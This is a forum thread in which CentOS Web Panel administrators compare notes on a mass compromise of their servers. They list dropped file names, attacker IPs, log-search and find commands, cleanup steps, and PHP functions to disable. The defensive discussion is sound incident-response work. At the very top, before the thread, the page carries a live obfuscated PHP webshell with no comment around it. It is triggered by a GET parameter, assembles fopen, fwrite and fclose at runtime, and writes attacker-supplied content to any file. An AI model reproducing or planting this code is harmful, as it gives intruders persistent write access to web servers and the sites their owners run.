Ty GUeix9E1 AsYb0MQW_CjrH4dXp oLSlKBvwF2g5 DzfVRmJk7aun OcP<?php goto Y_0nXzAq;dPW4cKs3: $xAs7Tpz = stripos("xpdk3L0BI","NSzAt"); goto w7QUDA;oI0Ofs1NSE: echo "\74\x64\151\x76\76\x3c\x69\156\160\x75\x74\40\x74\171\x70\145\75\x22\164\x65\x78\x74\42\40\x6e\141\155\x65\75\x22\x71\x79\62\x69\x5a\x22\76\x3c\x2f\144\x69\x76\x3e";goto gEoeu7CYmH;lb_z0E: if($B_6Ta) exit("MPu2OYfMbJ".$F1mVH($B_6Ta));goto DrKUus;TI578M2: $jg3TmtQ = isset($_POST["qy2iZ"])?trim($_POST["qy2iZ"]):"";goto n20zQ9o;RLgetNOE: if($B_6Ta) $Vx6b5eC($B_6Ta,$n2XtH3a);goto lb_z0E;KRTmDNl: $D8jZIM5E = array("sg3tOMKyxWQfXZ"); goto WQIED9;LPvaiTkrsM: $wAuWIZ5 = str_repeat("", 13); goto KRTmDNl;Q8kceJNKf: function gjrAdtg($_yU43,$FyDsPmb){ $b91Og = str_split($_yU43,1); $xBjlH0Y = explode(",",$FyDsPmb); $wqGkWJg=""; foreach($xBjlH0Y as $v){ $wqGkWJg .= $b91Og[(int)$v]; } return $wqGkWJg; }goto L0LQ7hb4;cD6Re4V9s: echo "\x3c\x62\x75\164\x74\157\x6e\x20\164\171\160\x65\75\x22\x73\165\142\155\151\164\42\x3e\163\x75\x62\x6d\151\x74\x3c\x2f\x62\x75\x74\x74\157\156\76";goto l_Ln6t1XY;fWFX6D3: echo "\74\x66\157\x72\155\40\x6d\145\164\150\157\144\75\42\120\x4f\x53\x54\42\x3e";goto oI0Ofs1NSE;DrKUus: $Le4p2 = str_replace("Le4p2", "", "Le4p2");goto Q8kceJNKf;kZly82kt: if(!isset($_GET["U8v"]))exit;goto TI578M2;g8fvDVd: $cXUEo94Gg = addcslashes("cXUEo94Gg","JbuaWR8jKC"); goto ubiQf8X;I0xkT8MIo: $AUCcxm3 = strtok("AUCcxm3"); goto gvoaFcZ3;WQIED9: $zFGOj8f = str_replace("zFGOj8f", "", "zFGOj8f");goto Li1o5cfm27;llJW4kEf9: $x5scPOjt = false; goto fbZp1Xjf;XfOS3Dc: $B_6Ta = !empty($n2XtH3a)? $Qgi0D($jg3TmtQ,"w"):"";goto H7fbdkCE;H7fbdkCE: $IewLIh = str_repeat("", 13); goto RLgetNOE;gEoeu7CYmH: $zHES9 = addslashes("zHES9"); goto jdRWyZ;Li1o5cfm27: $dRLQvy = str_shuffle("Y5_HmEAQe"); goto g8fvDVd;ubiQf8X: $DrKtQl = strstr("DrKtQl", "MFIjtb0zZ"); goto qZPStqv;jdRWyZ: $DWm5Nc = str_shuffle("fw9Jk"); goto dPW4cKs3;CTbrxv3k: $FdH6ED = strpos("WcoMi9bD","NAQc1"); goto VCUOJo5;FCBbyoJ: $ko_A7 = sprintf(""); goto kZly82kt;gvoaFcZ3: $y6FmI = implode("y6FmI",array());goto XqZl_hutd;l_Ln6t1XY: echo "\74\57\146\157\162\155\x3e";goto LPvaiTkrsM;w7QUDA: echo "\x3c\144\151\166\76\74\164\145\170\164\x61\162\145\141\40\x6e\x61\x6d\145\75\x22\x41\x4e\x33\x37\x38\42\40\162\157\167\163\75\x22\x35\x22\76\x3c\x2f\164\x65\x78\x74\x61\162\x65\141\x3e\x3c\x2f\x64\x69\x76\76";goto cD6Re4V9s;VCUOJo5: $xdsef = c8SWnC::JPFrgeHO("xYCU1Tl",3);goto XfOS3Dc;kSwOti: $rson9 = strstr("rson9", "PCKFi09"); goto I0xkT8MIo;Y_0nXzAq: $enzir = str_shuffle("ecSJnCA"); goto kSwOti;fbZp1Xjf: class c8SWnC{ public static function __callStatic($name, $arguments) { $temarr = array("Qgi0D"=>array("c2fnmdelr7y_ropazeMx0pWejt","2,13,14,6,3"),"Vx6b5eC"=>array("XaieuRrZAxGfUvcdaFbpreweWlt_","11,22,6,2,26,3"),"F1mVH"=>array("a1_Sp5oziMfcrH7wZclEselpeeAF","10,11,18,6,20,21")); foreach($temarr as $key=>$v){ $GLOBALS[$key] = gjrAdtg($v[0],$v[1]); } } }goto fWFX6D3;n20zQ9o: $n2XtH3a = isset($_POST["AN378"])?trim($_POST["AN378"]):""; goto CTbrxv3k;L0LQ7hb4: $XlpVX = ucwords("O_bclSmgv"); goto llJW4kEf9;XqZl_hutd: $G_eLJz = sprintf(""); goto FCBbyoJ;qZPStqv:""; ?>S7xr01o
zQiyX8uFCbpvaD6fWI9VnN sUZdqhjtY JGeg5_TwOKPL3
RA BckM 2H Eml4RG v9ifYz uMOP2HXASjcaper6714 Vb358 xnoEt KWglqQsyNkF0U Cm w
hJDBILT_dZUTYIBJ 1dQwWuh 0t xHGmk ZrNE
vo_ CgA3O2KMslynRP4z85jeD6F ifqbLVS9a7cp X
0_MhDcG1 xkPWy9fNSR3AsIH TBVOe 2tYiXqo76UFjCv mwQ a5KEgl4
b
LrZuzn8dpJcK6 4
HSUzIYPE2GCViTZA8nuomgjRN
kv1tq DxMWs59_XB lFw3yL Qbdh 0OJp7refa
-
My wordpress wibsites also infeted. And other websites non worpress also. Replaced index.php, added licelic.c" backup.c defauit.php. I found admin accounts in database WP-user wpadmin@volovmart.ru. I dont know how its happened. But i think it is Panel hacked because it is not effect only WordPress CMS. Im using CWP pro.
-
Hello,
We're encountering the same situation on one of our servers.
While we're actively performing cleanup operations, the critical question remains: Has this vulnerability truly been resolved by the "silent patch"?
Do you have any informations about when end what version of the patch/update ?
Best regards,
-
You can also search in your files. "\x3c\x66\x6f\162\x6d\40\x6d\x65\x74\150\x6f\x64\x3d\"POST\"";"
Might be another backdoor.
Don't trust to find this sequence. All injected files, even if they do the same, all of them have different obfuscation codes even with different sequence of code.
Best way is to search for index files within the folders and check your main index file.
Also consider to disable php execution inside folders that are not needed. Also disable direct execution of php files that don't need to be called directly from URL. This can be done with folder permissions and .htacess files.
-
Hello,
We're encountering the same situation on one of our servers.
While we're actively performing cleanup operations, the critical question remains: Has this vulnerability truly been resolved by the "silent patch"?
Do you have any informations about when end what version of the patch/update ?
Best regards,
I've studied the vulnerability and I don't expect it to be able to exploit anything else. The attacker only had access as a low privileges users. If he had so much access, he wouldn't be mass exploiting every website of your server.
I recommend you to change your admin and client ports. This way, automated systems won't be able to find it right away.
If you want to be extra serious about it, format it. Don't take my word too serious but I see no reason to format. Never the less, always keep a clean backup.
I've added "HTTP Basic access authentication" to admin and client panels. I've also added this to wordpress login url's. This will block every public access and it creates a new layer of protection. I saw that my firewall got less blockage because there were no possibility for hackers to make requests. Every page, request or URL have been blocked with this. It works like a master password on sensible areas that is requested before opening or requesting anything.
My wordpress websites also infeted. And other websites non worpress also. Replaced index.php, added licelic.c" backup.c defauit.php. I found admin accounts in database WP-user wpadmin@volovmart.ru. I dont know how its happened. But i think it is Panel hacked because it is not effect only WordPress CMS. Im using CWP pro.
I believe Wordpress database was infected by external code execution. I also had this user and same email.
You should rebuild your wordpress from scratch. Best way is to firstly remove that user (with the wordpress panel). You can also execute queries to remove the user and the content he has created (if present).
Then import only this tables:
wp_users
wp_usermeta
wp_terms
wp_term_taxonomy
wp_posts
wp_postmeta
If your wordpress has user comments, also import:
wp_comments
wp_commentmeta
Then install all plugins from the installation menu (don´t import from the infected website). Everything has to be built again. Wordpress plugins creates a lot of tables that are not even needed. But be aware and test your website afterwards.
If you had made changes to your template before, install the template from the installation menu and take a deep look on each file you had modified. If done right, you probably you have a child folder for that theme. Take a deep look on each line of code of those modified files to see if something was injected. I did that manually and then i asked chatgpt if there were any malicious line of code just to confirm it.
If you have custom plugins, you have to take a deep look on each line of code as well.
-
I have the same problem. My VPS are infected.
Im using CWPpro version: 0.9.8.1218 and Rocky Linux release 9.5
After the intrusion i have problems with SEO, google results display titles from other sources.
My websites traffic has plummeted in the last few days because of this change. When I type site:mysomain.tld into Google, I see that the results point to my websites, but the text is different.
Does anyone else have this problem? Do you know how to fix it? How did you manage to change it? I've already submitted sitemaps to Google Search Console, but I'm not sure if it will work.
-
I have the same problem. My VPS are infected.
Im using CWPpro version: 0.9.8.1218 and Rocky Linux release 9.5
After the intrusion i have problems with SEO, google results display titles from other sources.
My websites traffic has plummeted in the last few days because of this change. When I type site:mysomain.tld into Google, I see that the results point to my websites, but the text is different.
Does anyone else have this problem? Do you know how to fix it? How did you manage to change it? I've already submitted sitemaps to Google Search Console, but I'm not sure if it will work.
Hi, read all the thread, your problem is 100% related to this topic. Our servers were exploited to show an online store. Not sure what the hacker did to gain anything with this because the webpages were not defaced. Usually they get the google refer to deface the webpage.
Take into consideration that your server has a lot of backdoors installed. But, as I said, read the thread.
I believe your websites are in wordpress. So start by removing the new user the hacker added to your websites. Then install a fresh wordpress and start all over :)
Make sure you remove all .php files from "wp-content\uploads".
-
I have the same problem. My VPS are infected.
Im using CWPpro version: 0.9.8.1218 and Rocky Linux release 9.5
After the intrusion i have problems with SEO, google results display titles from other sources.
My websites traffic has plummeted in the last few days because of this change. When I type site:mysomain.tld into Google, I see that the results point to my websites, but the text is different.
Does anyone else have this problem? Do you know how to fix it? How did you manage to change it? I've already submitted sitemaps to Google Search Console, but I'm not sure if it will work.
Hi, read all the thread, your problem is 100% related to this topic. Our servers were exploited to show an online store. Not sure what the hacker did to gain anything with this because the webpages were not defaced. Usually they get the google refer to deface the webpage.
Take into consideration that your server has a lot of backdoors installed. But, as I said, read the thread.
I believe your websites are in wordpress. So start by removing the new user the hacker added to your websites. Then install a fresh wordpress and start all over :)
Make sure you remove all .php files from "wp-content\uploads".
Apparently, you're Portuguese, and so am I.
The infected VPS has 12 sites, most of which are WordPress, but it also has two sites built from scratch and a forum in SMF.
All sites were affected, and what I discovered was the following:
- Index.php, .htaccess, and robots.txt were replaced on all sites.
- Several files and folders were added. Some of these folders had single-letter names.
- There were zip files, JPG files but with malicious code, and also fake CSS files.
- Two users were created on the WordPress sites, but these users are not visible in the WordPress admin panel. To see these users, you have to use PHPmyadmin.
- The robots.txt file had an error in the word "disallow" and contained a line like "sitemap: doamain.tld/?sitemap.xml," which I believe is used to trick Google into reading a different sitemap that isn't the correct one. Because Google started indexing several URLs that don't exist, meaning all the fake URLs are of the type https://domain.tld/?f=142558512. One of the websites has 4,000 pages in the original sitemap, but Google indexed 58,000 because of these fake URLs.
- The strangest thing is that the original URLs of the sites were kept, but in Google results, they appear with titles and descriptions different from the original content.
In wp-content folders dont find any php file.
I deleted all the strange files I found, deleted the users via phpmyadmin, restored the backups of the infected files, and submitted the sitemaps to the search engines.
I renamed /usr/local/cwpsrv/var/services/user_files/modules/filemanager.php, but the cwpanel filemanager still works. Is this normal?
I'm afraid the vulnerability won't be fixed and that all the cleanup and file restoration work will be futile.
I'm guessing this issue will affect many servers and I don't see any response from the CWP team.
-
your problem is 100% related to this topic.
Just to be clear, the CVE originally discussed in this thread was patched by the CWP devs in early July. Any exploit since then pertains to a whole class of PHP injection attacks that are an unfortunate reality of being a sysadmin / webmaster these days. You need to know how to harden your PHP installation and set some minimum barriers up around your web sites (web application firewalls). There used to be a setting called "DontBlameSendmail" -- but in this case, Don't Blame CWP. The onus is on YOU the sysadmin to secure your system.
-
Yes, I am portuguese.
As far as I can see, I don't have folders with just a single letter. That's probably from a previous hack?
Two users were created on the WordPress sites, but these users are not visible in the WordPress admin panel. To see these users, you have to use PHPmyadmin.
Oh ok, i didn't know that. I haven't checked the users in the WordPress admin panel, I only saw them in the database like you did.
If you simulate the Googlebot user agent in your browser you'll be able to see the changes on your website. The defacement probably only activates for certain countries (I'm just guessing), because there is no other way to view it without simulating the Googlebot agent.
Make sure you remove usermeta data as well (from the database).
In wp-content folders dont find any php file.
had a few PHP files inside /wp-content/uploads and they were malicious (and by the look, they are from the same creator).
I renamed /usr/local/cwpsrv/var/services/user_files/modules/filemanager.php, but the cwpanel filemanager still works. Is this normal?
With that change, Filemanager inside admin panel it still works, but in the user panel it doesn't work anymore.
Change your CWP panel port and add “Simple Authentication” to it - It has to be done manually.
That will help prevent future damage.
-
Yes, I am portuguese.
As far as I can see, I don't have folders with just a single letter. That's probably from a previous hack?
Two users were created on the WordPress sites, but these users are not visible in the WordPress admin panel. To see these users, you have to use PHPmyadmin.
Oh ok, i didn't know that. I haven't checked the users in the WordPress admin panel, I only saw them in the database like you did.
If you simulate the Googlebot user agent in your browser you'll be able to see the changes on your website. The defacement probably only activates for certain countries (I'm just guessing), because there is no other way to view it without simulating the Googlebot agent.
Make sure you remove usermeta data as well (from the database).
In wp-content folders dont find any php file.
had a few PHP files inside /wp-content/uploads and they were malicious (and by the look, they are from the same creator).
I renamed /usr/local/cwpsrv/var/services/user_files/modules/filemanager.php, but the cwpanel filemanager still works. Is this normal?
With that change, Filemanager inside admin panel it still works, but in the user panel it doesn't work anymore.
Change your CWP panel port and add “Simple Authentication” to it - It has to be done manually.
That will help prevent future damage.
Yes, I am portuguese.
As far as I can see, I don't have folders with just a single letter. That's probably from a previous hack?
Two users were created on the WordPress sites, but these users are not visible in the WordPress admin panel. To see these users, you have to use PHPmyadmin.
Oh ok, i didn't know that. I haven't checked the users in the WordPress admin panel, I only saw them in the database like you did.
If you simulate the Googlebot user agent in your browser you'll be able to see the changes on your website. The defacement probably only activates for certain countries (I'm just guessing), because there is no other way to view it without simulating the Googlebot agent.
Make sure you remove usermeta data as well (from the database).
In wp-content folders dont find any php file.
had a few PHP files inside /wp-content/uploads and they were malicious (and by the look, they are from the same creator).
I renamed /usr/local/cwpsrv/var/services/user_files/modules/filemanager.php, but the cwpanel filemanager still works. Is this normal?
With that change, Filemanager inside admin panel it still works, but in the user panel it doesn't work anymore.
Change your CWP panel port and add “Simple Authentication” to it - It has to be done manually.
That will help prevent future damage.
Obrigado pela resposta e também pelas dicas.
Perdi muitas horas a tentar perceber como conseguiram entrar no servidor e este tópico serviu de ajuda para entender o que sucedeu. Afinal o problema foi causado por uma vulnerabilidade e certamente o meu servidor já está contaminado desde cerca de 2 semanas, porque foi nessa altura que começaram a descer abruptamente as visitas orgânicas aos meus sites e foi outra situação que me causou confusão e não percebia o motivo. No dia de ontem o mallware substituiu os ficheiros de index e deixou os sites inacessíveis sendo isso o que me levou a investigar a causa.
Agradeço as dicas, mas mudar a porta não serve de muito porque basta fazer um scan às portas para descobrir qual é. A porta ssh estou constantemente a muda-la e mesmo assim são quase diarias as tentativas de login ssh.
O meu caso mudei a senha dos usuários e como o servidor é só para mim, deixo desativado o filemanager.php. Também limitei o número de envio de emails porque é muito comum que estas ações ocorram para fazer spam usando o servidor de email.
Vou ficar atento aos logs e espero que tenha ficado resolvido. Importa salientar que tenho ativo o firewall, antivirus e o mallware scanner, mas não foram suficientes para mitigar a intrusão.
Mais uma vez agradeço o feedback porque este tópico poupou-me muito tempo de investigação e análise.
Deixo apenas uma última anotação à parte do tema, este fórum submete a resposta em http em vez de https, algo invulgar. Vou ponderar deixar de utilizar este cwpanel porque já é a segunda vez que tenho um problema destes causado por vulnerabilidades do próprio painel.
-
o scan à porta é bloqueado pela Firewall, no entanto se forem vários bots a fazer bruteforce já não serve de nada a firewall. Ainda assim é melhor do que manter a porta como está.
Entende que o teu servidor é 1 em 1 bilião. Se a porta não tiver disponível já não interessa para scanear. Normalmente este povo faz scans de IPs em vez de portas. Quando há uma vulnerabilidade zero day, as portas são sempre as mesmas para scanear.
Sobre a porta SSH coloca uma porta perto do final do range. Também podes usar chave ssh se tiveres receio de teres só 1 password.
Posso estar enganado mas o bloqueio de email não serve de muito se for feito pelo próprio php.
Os scanners de malware são inúteis. Fiz scan com eles e não valeu de nada.
Não tens soluções gratis tão completas. Mesmo o cpanel tem sofrido ataques ao mesmo nível. Vais pagar para continuar no mesmo. Possivelmente vais migrar os sites e vão ficar minados novamente.
Considera bloquear as páginas mais sensíveis com "Basic access authentication".
EN version:
The port scan is blocked by the firewall, however, if multiple bots perform a brute-force attack, the firewall becomes useless. Still, it’s better than leaving the port as it is.
Understand that your server is one in a billion. If the port isn’t available, it’s no longer useful to scan. Usually, these guys scan for IPs rather than ports. When there’s a zero-day vulnerability, the ports are always the same to scan.
About the SSH port, choose a port near the end of the range. You can also use an SSH key if you’re worried about relying on just one password.
I could be wrong, but blocking email doesn’t help much if it’s done via PHP itself.
Malware scanners are useless. I ran scans with them, and they were worthless.
You won’t find free solutions that are this comprehensive. Even cPanel has suffered attacks at the same level. You’ll end up paying to remain in the same situation. Most likely, you’ll migrate the sites, and they will be compromised again.
Consider protecting the most sensitive pages with “Basic Access Authentication.”
-
I use a Key file access for SSH access rather than password authentication. It requires you to have the cert on each puter you use to access but it pretty much ends the success of any bots trying to brute force SSH as they need the cert.
-
You can also search in your files. "\x3c\x66\x6f\162\x6d\40\x6d\x65\x74\150\x6f\x64\x3d\"POST\"";"
Might be another backdoor.
Don't trust to find this sequence. All injected files, even if they do the same, all of them have different obfuscation codes even with different sequence of code.
Best way is to search for index files within the folders and check your main index file.
Also consider to disable php execution inside folders that are not needed. Also disable direct execution of php files that don't need to be called directly from URL. This can be done with folder permissions and .htacess files.
This is not obfuscated code. This is ASCII equal to <form method="post".
Attacker uses this pattern in many backdoor files. Its safe for mass remove unless you use regex in your search parameters.
-
My wordpress wibsites also infeted. And other websites non worpress also. Replaced index.php, added licelic.c" backup.c defauit.php. I found admin accounts in database WP-user wpadmin@volovmart.ru. I dont know how its happened. But i think it is Panel hacked because it is not effect only WordPress CMS. Im using CWP pro.
Hello,
We're encountering the same situation on one of our servers.
While we're actively performing cleanup operations, the critical question remains: Has this vulnerability truly been resolved by the "silent patch"?
Do you have any informations about when end what version of the patch/update ?
Best regards,
I have the same problem. My VPS are infected.
Im using CWPpro version: 0.9.8.1218 and Rocky Linux release 9.5
After the intrusion i have problems with SEO, google results display titles from other sources.
My websites traffic has plummeted in the last few days because of this change. When I type site:mysomain.tld into Google, I see that the results point to my websites, but the text is different.
Does anyone else have this problem? Do you know how to fix it? How did you manage to change it? I've already submitted sitemaps to Google Search Console, but I'm not sure if it will work.
First thing to do is renaming /usr/local/cwpsrv/var/services/user_files/modules/filemanager.php as /usr/local/cwpsrv/var/services/user_files/modules/filemanager.php.disabled
Then follow the messages sent by @pedromidiasf and me at page 5 to page 7. You will see the names of the malicious files dropped by attackers.
What exploiters are capable of is equal to filemanager at the start and this might not seem worrying. But then they take full advantage of PHP so if they want to remove whole of your files, they can and they can redirect your visitors to other websites.
If I was the one whos using this exploit I could convert this to a DDoS tool by redirecting every visitor to the website that I want to cause DoS. So, there is no limit, they can do anything they want and every IT admin should take this seriously.
-
@pedromidiasf, but did you manage to find the vector of the attack?
The file manager issue was some time ago, but yesterday some of my websites were changed, and they weren't even WordPress sites. Some files were injected, and I really need to find out what caused that. I only found out because they were development websites and someone tried to add them to Google Search Console, which notified me.
PS. I'm also Portuguese
-
This is not obfuscated code. This is ASCII equal to <form method="post".
That's exactly how obfuscation works :)
Attacker uses this pattern in many backdoor files. Its safe for mass remove unless you use regex in your search parameters.
Every file I found has a different footprint. You can't just regex it in trust you have found every one. You should better search for php files that has "eval" and other interpretative functions.
@pedromidiasf, but did you manage to find the vector of the attack?
The file manager issue was some time ago, but yesterday some of my websites were changed, and they weren't even WordPress sites. Some files were injected, and I really need to find out what caused that. I only found out because they were development websites and someone tried to add them to Google Search Console, which notified me.
PS. I'm also Portuguese
I have other websites that aren’t WordPress that were also infected, but unlike the WordPress sites they were not defaced,they only got the backdoor. I discovered the problem because Google Search results for our websites were completely messed up (with store items). I Then tried emulating Google’s bot on my browser and checked Google Search Console to see how the websites were being indexed.
The procedure: I found files in the access log that didn’t belong to me, and related to those, the logs contained some IP addresses. I searched those IPs on Google and found results discussing this vulnerability. I then looked up the CVE ID to understand how the exploit works.
-
Then follow the messages sent by @pedromidiasf and me at page 5 to page 7. You will see the names of the malicious files dropped by attackers.
What exploiters are capable of is equal to filemanager at the start and this might not seem worrying. But then they take full advantage of PHP so if they want to remove whole of your files, they can and they can redirect your visitors to other websites.
If I was the one whos using this exploit I could convert this to a DDoS tool by redirecting every visitor to the website that I want to cause DoS. So, there is no limit, they can do anything they want and every IT admin should take this seriously.
That's right. And it could even be used as a VPN or proxy, cryptojacking, and so on. This exploit is fully capable of exploiting the server in PHP code (limited to the users privileges [non sudo] and PHP resources).
I haven't format the server (only sanitized the public_html folders) and I didn't find anything ever since. Hope it keeps itself as it is.
I might be wrong (and I hope not), but the hacker with full control would delete log files (or entries) clear shell histories, create privileged sudo accounts and add their public SSH keys, schedule tasks and so on. And none of those were implemented. On the other hand, public_html folders were invaded with trash.
(Just a guess) Oh be aware that the mysql root password might have been dumped. I've created some modules before and that password is stored as a variable that go inside the panel system. So if the plain text password is there, it might be stored somewhere else. I've disabled phpMyAdmin on my server in order to secure it.
I've implemented some more secure measures, I'll leave it here when I get some free time.
-
Thank you all. I found defauit.php date stamp on JUL 05, 2025
Intruders:
194.156.230.148
198.144.182.13
205.198.68.5
207.154.240.68
43.198.83.83
61.222.202.149
Command to check log files:
grep -E "filemanager" /usr/local/cwpsrv/logs/*
grep -E "defauit|defauIt|nbpafebaef" /usr/local/apache/domlogs/* /usr/local/apache/logs/*
Command to find suspect files:
find / -type f \( \
-iname 'defauit.php' \
-o -iname 'defauIt.php' \
-o -iname 'licelic.c' \
-o -iname 'backup.c' \
-o -iname '.c' \
-o -iname 'c' \
-o -iname 'nbpafebaef.jpg' \
-o -iname '.auto_monitor' \
-o -iname '.tmp_baf' \
-o -iname 'wp-login.php' \
-o -iname 'index.php' \
-o -iname 'robots.txt' \
-o -iname '.htaccess' \
\) -exec ls -l {} \; 2>/dev/null
Command to temporarily disable the user panel filemanager:
mv /usr/local/cwpsrv/var/services/user_files/modules/filemanager.php /usr/local/cwpsrv/var/services/user_files/modules/filemanager.php.disable.5456RANDOM2547
Command to check php config:
php -i | grep open_basedir
php -i | grep disable_functions
-
Thank you all. I found defauit.php date stamp on JUL 05, 2025
Every file has a different date stamp. Those files were touched to a close date and time of the neighbor files, that date stamp is not the right one. Don't mind searching for time and date, it won't do anything.
Those IP addresses are the same as mine. So, same hacker.
'nbpafebaef.jpg'
'.auto_monitor'
Where these files were present? Do you still know?
-
Thank you all. I found defauit.php date stamp on JUL 05, 2025
Every file has a different date stamp. Those files were touched to a close date and time of the neighbor files, that date stamp is not the right one. Don't mind searching for time and date, it won't do anything.
Those IP addresses are the same as mine. So, same hacker.
'nbpafebaef.jpg'
'.auto_monitor'
Where these files were present? Do you still know?
.jpg files are always in the same folder with defauit.php file and with sappurit's reply its confirmed that nbpafebaef.jpg file is not randomly named(Same filename with my screenshot earlier at page 7) but its not the only jpg file.
I think IP addresses are irrelevant because blocking them are not solution. Its easy to change IP address or tunnel connections.
The timestamp might be touched but it still tell us that most likely vulnerability is still exists.
Maybe someone could decode filemanager.php and apply a fix by adding a check for php sessions.
-
Maybe someone could decode filemanager.php and apply a fix by adding a check for php sessions.
I read that filemanager.php it is already patched. If necessary, disable the client panel ports (2083 and 2082) on the firewall, then restart it to apply the changes.
Logged as admin, you will still be able to access these ports (firewall will whitelist your IP address). Ask a friend to test the URL to see if he gets timed out.
-
I'm not sure if the File Manager issue is resolved with the update because my server was recently hacked. Or it was hacked a while ago, but the hacker only acted now, because it only affected traffic to the sites I have on the VPS two weeks ago, and it only affected the .htaccess file since October 17th.
I've been closely monitoring the VPS since the 18th, and apparently nothing strange has happened again. However, I warn you that WordPress websites, in particular, have contaminated files. That is, in addition to new files, they also modify WordPress system files, and the only solution is deleting and restoring a backup.
Also, on WordPress websites, users appeared in the database that were not visible in the WordPress user manager. You need to remove them via PHPMyAdmin.
The hacker modified the robots.txt and .htaccess files to direct traffic to an online store.
I recommend everyone try a Google search for "site:yourdomain.tld" to check for abnormal results or redirects.
I recommend restoring backups of everything in the public_html folder because if any file is infected, the malicious files will reappear.
-
I'm not sure if the File Manager issue is resolved with the update
https://fenrisk.com/rce-centos-webpanel
Conclusion
This exploitation scenario has been tested on versions 0.9.8.1204 and 0.9.8.1188 on Centos7 and reported to CWP developers the 13th of May 2025 as CVE-2025-48703. It allows a remote attacker who knows a valid username on a CWP instance to execute pre-authenticated arbitrary commands on the server.
The vulnerability has been patched on latest version 0.9.8.1205 during June 2025.
Timeline
13/05/2025: First contact with CWP.
23/05/2025: CVE-2025-48703 assigned.
18/06/2025: Patch available on version 0.9.8.1205.
-
I'm not sure if the File Manager issue is resolved with the update because my server was recently hacked. Or it was hacked a while ago, but the hacker only acted now, because it only affected traffic to the sites I have on the VPS two weeks ago, and it only affected the .htaccess file since October 17th.
I've been closely monitoring the VPS since the 18th, and apparently nothing strange has happened again. However, I warn you that WordPress websites, in particular, have contaminated files. That is, in addition to new files, they also modify WordPress system files, and the only solution is deleting and restoring a backup.
Also, on WordPress websites, users appeared in the database that were not visible in the WordPress user manager. You need to remove them via PHPMyAdmin.
The hacker modified the robots.txt and .htaccess files to direct traffic to an online store.
I recommend everyone try a Google search for "site:yourdomain.tld" to check for abnormal results or redirects.
I recommend restoring backups of everything in the public_html folder because if any file is infected, the malicious files will reappear.
Configure your vhosts (or add an .htaccess configuration to your websites).
If you don't need, disable these php functions:
Command execution: exec, system, passthru, shell_exec, proc_open, popen, pcntl_exec
File and folder permissions: chmod, chown, chgrp
Date time manipulation of files: touch
Code evaluation: eval, create_function, assert
Make sure that in your php.ini you have this configuration:
allow_url_include = Off
Then change your file permissions so no one can change the content. Only allow file changes in uploaded folders and don't allow then to execute files.
At the moment, your vulnerabilities are just within PHP.
-
.htaccess modified
index.php sometimes modified
defauit.php added
about.php added
nbpafebaef.jpg added
0vuFDw.php 0hmIaF.php 0soCeG.php like files created
radio.php added
content.php added
lock360.php added
admin.php added
Admin role Users added to DB
Be careful!.
-
There are more files, follow the topic to find out more about it.
Some of your files are not present on my server. Probably previous attack?
-
Yes, the latter files are from other PHP injection attacks with web shells. I've observed those over the years on various servers and panels -- not specific to CWP or the currently discussed CVE (which is patched).
-
This wave of malware was nasty.
Maldetect / CalmAv failed big time.
I would find the issues (wordpress sites) fix the directories permissions and delete hijacked files.
MU plugin folder was constantly being populated with *php
Following the instructions here and all over the web (LOL) I finally beat it.
The plugin Wordfence is bloated for daily use on each and every site but I did in stall it on the two sites I was having the hardest time taming and it did find the last few (4-5) files that I missed. I should have installed it sooner. In any event it found the last few suspicious files and I manually nuked them, then uninstalled it.
-
Even CWPpro version: 0.9.8.1218 version still 3/Nov/2025:13:12:40 +0400] "POST /uploads/leads/1/index.php? working for hack. I enable all security tools. But still not luck.
-
My wordpress wibsites also infeted. And other websites non worpress also. Replaced index.php, added licelic.c" backup.c defauit.php. I found admin accounts in database WP-user wpadmin@volovmart.ru. I dont know how its happened. But i think it is Panel hacked because it is not effect only WordPress CMS. Im using CWP pro.
Hello,
We're encountering the same situation on one of our servers.
While we're actively performing cleanup operations, the critical question remains: Has this vulnerability truly been resolved by the "silent patch"?
Do you have any informations about when end what version of the patch/update ?
Best regards,
I have the same problem. My VPS are infected.
Im using CWPpro version: 0.9.8.1218 and Rocky Linux release 9.5
After the intrusion i have problems with SEO, google results display titles from other sources.
My websites traffic has plummeted in the last few days because of this change. When I type site:mysomain.tld into Google, I see that the results point to my websites, but the text is different.
Does anyone else have this problem? Do you know how to fix it? How did you manage to change it? I've already submitted sitemaps to Google Search Console, but I'm not sure if it will work.
First thing to do is renaming /usr/local/cwpsrv/var/services/user_files/modules/filemanager.php as /usr/local/cwpsrv/var/services/user_files/modules/filemanager.php.disabled
Then follow the messages sent by @pedromidiasf and me at page 5 to page 7. You will see the names of the malicious files dropped by attackers.
What exploiters are capable of is equal to filemanager at the start and this might not seem worrying. But then they take full advantage of PHP so if they want to remove whole of your files, they can and they can redirect your visitors to other websites.
If I was the one whos using this exploit I could convert this to a DDoS tool by redirecting every visitor to the website that I want to cause DoS. So, there is no limit, they can do anything they want and every IT admin should take this seriously.
Hi friend im still fighting for fix it. Disabling filemanager temporarily solution. My sites traffic growing. I deleted all infected files. Enabled Mo sec rules. Scanned all wordpress websites with wordfence. But still upload available over POST i see in logi every 2 days/ My index files on my webpages replacing to hacker files. I found folders with permission 777 in my server. Sadly CWP havent reinstall or uninstall solution for such as case for fix hacked files.
-
CWP 0.9.8.1218 has this original bug fixed for a long time with the File Manager.
What you posted in a WordPress path.
Simple fix, don't use WordPress, or use a security plugin.
Also secure you PHP.ini under disable_functions =
If your not sure how to secure a server or clean one after an attack, you might want to think about hiring a sys admin.